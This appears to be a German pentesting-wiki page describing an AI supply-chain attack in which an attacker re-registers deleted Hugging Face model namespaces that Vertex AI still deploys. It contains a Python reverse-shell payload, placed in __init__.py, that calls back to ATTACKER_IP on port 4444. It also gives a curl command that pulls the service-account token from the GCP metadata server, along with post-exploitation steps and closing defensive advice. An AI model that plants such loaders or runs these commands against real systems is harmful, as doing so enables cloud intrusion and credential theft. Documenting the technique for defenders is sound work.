GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse

Reading time: 6 minutes

Szenario

• Der Vertex AI Model Garden ermöglicht die direkte Bereitstellung vieler Hugging Face (HF)-Modelle.
• HF model identifiers sind Author/ModelName. Wenn ein Author/Org auf HF gelöscht wird, kann derselbe Autorenname von jedem neu registriert werden. Angreifer können dann ein Repo mit demselben ModelName am Legacy-Pfad erstellen.
• Pipelines, SDKs oder Cloud-Kataloge, die nur nach Name holen (kein Pinning/keine Integritätsprüfung), werden das von Angreifern kontrollierte Repo ziehen. Wenn das Modell bereitgestellt wird, kann Loader-Code aus diesem Repo innerhalb des Vertex AI Endpoint-Containers ausgeführt werden und RCE mit den Berechtigungen des Endpoints ermöglichen.

Zwei häufige Übernahmefälle auf HF:

• Ownership deletion: Alter Pfad liefert 404, bis jemand den Autor erneut registriert und denselben ModelName veröffentlicht.
• Ownership transfer: HF gibt 307 Redirects vom alten Author/ModelName zum neuen Author aus. Wenn der alte Author später gelöscht und von einem Angreifer neu registriert wird, ist die Redirect-Kette gebrochen und das Repo des Angreifers wird am Legacy-Pfad ausgeliefert.

Identifizieren wiederverwendbarer Namespaces (HF)

• Alter Author gelöscht: die Seite des Authors liefert 404; der Modellpfad kann 404 zurückgeben, bis eine Übernahme erfolgt.
• Transferierte Modelle: der alte Modellpfad gibt 307 auf den neuen Owner zurück, solange der alte Author existiert. Wenn der alte Author später gelöscht und neu registriert wird, wird der Legacy-Pfad auf das Repo des Angreifers aufgelöst.

Schnelle Prüfungen mit curl:

# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available

# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers

End-to-End-Angriffsablauf gegen Vertex AI

1. Entdecke wiederverwendbare Modell-Namespaces, die Model Garden als deploybar auflistet:

• Finde HF-Modelle in Vertex AI Model Garden, die noch als “verified deployable” angezeigt werden.
• Prüfe auf HF, ob der ursprüngliche Author gelöscht wurde oder ob das Modell übertragen wurde und der alte Author später entfernt wurde.

2. Registriere den gelöschten Author auf HF neu und erstelle denselben ModelName wieder.

3. Veröffentliche ein bösartiges repo. Füge Code hinzu, der beim Model-Load ausgeführt wird. Beispiele, die beim HF-Model-Load häufig ausgeführt werden:

• Seiteneffekte in init.py des Repos
• Benutzerdefinierte modeling_*.py- oder Verarbeitungscode, der von config/auto_map referenziert wird
• Codepfade, die trust_remote_code=True in Transformers pipelines erfordern

4. Eine Vertex AI-Bereitstellung des Legacy Author/ModelName zieht nun das Angreifer-repo. Der Loader wird innerhalb des Vertex AI endpoint container ausgeführt.

5. Die Payload stellt Zugriff aus der Endpoint-Umgebung (RCE) mit den Berechtigungen des Endpoints her.

Beispiel eines Payload-Fragments, das beim Import ausgeführt wird (nur zur Demonstration):

# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading

def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...

if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()

Notizen

• Real-world loaders variieren. Viele Vertex AI HF Integrationen klonen und importieren Repo-Module, die in der model’s config referenziert werden (z. B. auto_map), was code execution auslösen kann. Einige Einsatzzwecke erfordern trust_remote_code=True.
• Der Endpoint läuft typischerweise in einem dedizierten Container mit begrenztem Scope, stellt jedoch einen gültigen initial foothold für data access und lateral movement in GCP dar.

Post-Exploitation Tips (Vertex AI Endpoint)

Sobald code im Endpoint-Container läuft, erwägen:

• Environment-Variablen und Metadaten nach credentials/tokens enumerieren
• Zugriff auf angehängten Storage oder gemountete Modell-Artefakte
• Mit Google APIs über die Service-Account-Identität interagieren (Document AI, Storage, Pub/Sub, etc.)
• Persistenz im Modell-Artefakt, falls die Plattform das Repo erneut zieht

Instanz-Metadaten auflisten, falls zugänglich (abhängig vom Container):

curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Defensive Hinweise für Vertex AI-Nutzer

• Modelle per Commit in HF loaders pinnen, um stilles Ersetzen zu verhindern:

from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")

• Spiegle geprüfte HF models in ein vertrauenswürdiges internes Artifact-Store/Registry und stelle sie von dort bereit.
• Scanne kontinuierlich Codebasen und Konfigurationen nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisiere auf neue Namespaces oder lege sie per Commit fest.
• In Model Garden, prüfe die Modellherkunft und die Existenz des Authors vor der Bereitstellung.

Erkennungsheuristiken (HTTP)

• Deleted author: author page 404; legacy model path 404 bis zur Übernahme.
• Transferred model: legacy path 307 zum neuen author, während der alte author noch existiert; wenn der alte author später gelöscht und neu registriert wird, liefert der legacy path attacker content.

curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"

Querverweise

• Siehe umfassendere Methodik- und Supply-Chain-Hinweise:

Pentesting Cloud Methodology

Referenzen

• Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)
• Hugging Face: Renaming or transferring a repo